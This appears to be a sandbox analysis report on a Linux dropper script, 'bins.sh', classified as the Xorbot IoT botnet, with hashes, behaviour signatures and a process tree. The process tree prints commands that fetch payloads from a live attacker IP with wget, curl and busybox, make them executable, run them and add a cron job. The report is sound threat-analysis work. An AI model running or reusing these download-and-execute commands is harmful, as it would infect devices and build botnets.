Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240508-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240508-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    04/01/2025, 15:56

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    b3fcb287f632cd257fa4b518cf1fb640

  • SHA1

    8e270fe99fa3e1c4f94ae51107c6dc894db60f89

  • SHA256

    57545f08d7ee15313ab9b7fb5b5326b9e7ad54dc283697e518acc1704e0a402d

  • SHA512

    3bb66a53654a351e107ea8ba788bd7d0de56878cf763604ab2dd564085a084c946a9ce3b0c2f3124c577a99733fb7d3bd20d42c49b1af6f9c8e6c5f356a84994

  • SSDEEP

    192:WvFvRvP44Jq6BDHXbPAe31enDnD+mBjDnD+mgXvFvRvP445XbPAe3Be:W9JFqsD7FeJ8X9JJ0

Score
10/10
xorbotbotnetdefense_evasiondiscoveryexecutionpersistenceprivilege_escalatiotrojan

Malware Config

Signatures

  • Detects Xorbot 2 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • Contacts a large (2186) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 2 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 2 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 6 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1521
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1522
        • /usr/bin/wget
          wget http://146.19.162.73/bins/1gHOS8UznhmqmtG89WWocg772ttVbMupKA
          2⤵
          • Writes file to tmp directory
          PID:1523
        • /usr/bin/curl
          curl -O http://146.19.162.73/bins/1gHOS8UznhmqmtG89WWocg772ttVbMupKA
          2⤵
          • Writes file to tmp directory
          PID:1524
        • /bin/busybox
          /bin/busybox wget http://146.19.162.73/bins/1gHOS8UznhmqmtG89WWocg772ttVbMupKA
          2⤵
          • Writes file to tmp directory
          PID:1528
        • /bin/chmod
          chmod 777 1gHOS8UznhmqmtG89WWocg772ttVbMupKA
          2⤵
          • File and Directory Permissions Modification
          PID:1529
        • /tmp/1gHOS8UznhmqmtG89WWocg772ttVbMupKA
          ./1gHOS8UznhmqmtG89WWocg772ttVbMupKA
          2⤵
          • Executes dropped EXE
          PID:1530
        • /bin/rm
          rm 1gHOS8UznhmqmtG89WWocg772ttVbMupKA
          2⤵
            PID:1532
          • /usr/bin/wget
            wget http://146.19.162.73/bins/2pkN06dQPqJ5ybT2oaPBCl03jjS3gu0Ml3
            2⤵
            • Writes file to tmp directory
            PID:1533
          • /usr/bin/curl
            curl -O http://146.19.162.73/bins/2pkN06dQPqJ5ybT2oaPBCl03jjS3gu0Ml3
            2⤵
            • Writes file to tmp directory
            PID:1534
          • /bin/busybox
            /bin/busybox wget http://146.19.162.73/bins/2pkN06dQPqJ5ybT2oaPBCl03jjS3gu0Ml3
            2⤵
            • Writes file to tmp directory
            PID:1535
          • /bin/chmod
            chmod 777 2pkN06dQPqJ5ybT2oaPBCl03jjS3gu0Ml3
            2⤵
            • File and Directory Permissions Modification
            PID:1536
          • /tmp/2pkN06dQPqJ5ybT2oaPBCl03jjS3gu0Ml3
            ./2pkN06dQPqJ5ybT2oaPBCl03jjS3gu0Ml3
            2⤵
            • Executes dropped EXE
            • Renames itself
            • Reads runtime system information
            PID:1537
            • /bin/sh
              sh -c "crontab -l"
              3⤵
                PID:1539
                • /usr/bin/crontab
                  crontab -l
                  4⤵
                    PID:1540
                • /bin/sh
                  sh -c "crontab -"
                  3⤵
                    PID:1541
                    • /usr/bin/crontab
                      crontab -
                      4⤵
                      • Creates/modifies Cron job
                      PID:1542
                • /bin/rm
                  rm 2pkN06dQPqJ5ybT2oaPBCl03jjS3gu0Ml3
                  2⤵
                    PID:1544
                  • /usr/bin/wget
                    wget http://146.19.162.73/bins/uINrc3yzamKkR8WG4Pfv3Ss3AUy9i8lwhR
                    2⤵
                      PID:1547

                  Network

                  MITRE ATT&CK Enterprise v15

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  • /tmp/1gHOS8UznhmqmtG89WWocg772ttVbMupKA
                    Filesize

                    122KB

                    MD5

                    cd3d4b9c643e5b473fb4d88ed05f0716

                    SHA1

                    64ee7a97418583d759eaea8000890cc3bae1b5f4

                    SHA256

                    0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                    SHA512

                    164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                    Download Submit

                  • /tmp/2pkN06dQPqJ5ybT2oaPBCl03jjS3gu0Ml3
                    Filesize

                    112KB

                    MD5

                    05d7857dcead18bbd86d2935f591873c

                    SHA1

                    34d18f41ef35f93d5364ce3e24d74730a4e91985

                    SHA256

                    2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                    SHA512

                    d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                    Download Submit

                  • /var/spool/cron/crontabs/tmp.yw5jN0
                    Filesize

                    210B

                    MD5

                    9fa8f37d758a4f88b388a2af6f295818

                    SHA1

                    196c0d0646cdab7b96456e0fcdd642a3abcbff7d

                    SHA256

                    584f02c6f2c1e8b4f5dc298910bc25935966547365619fd273877021d2fd67a3

                    SHA512

                    8b226f691d404f98a33676fc2668f782d4374d34ffc07cded61a086776797e545c1b7fb29527deba9afeaf1d9a05ff337a0c5423ceb0e85df788b2a0d3809897

                    Download Submit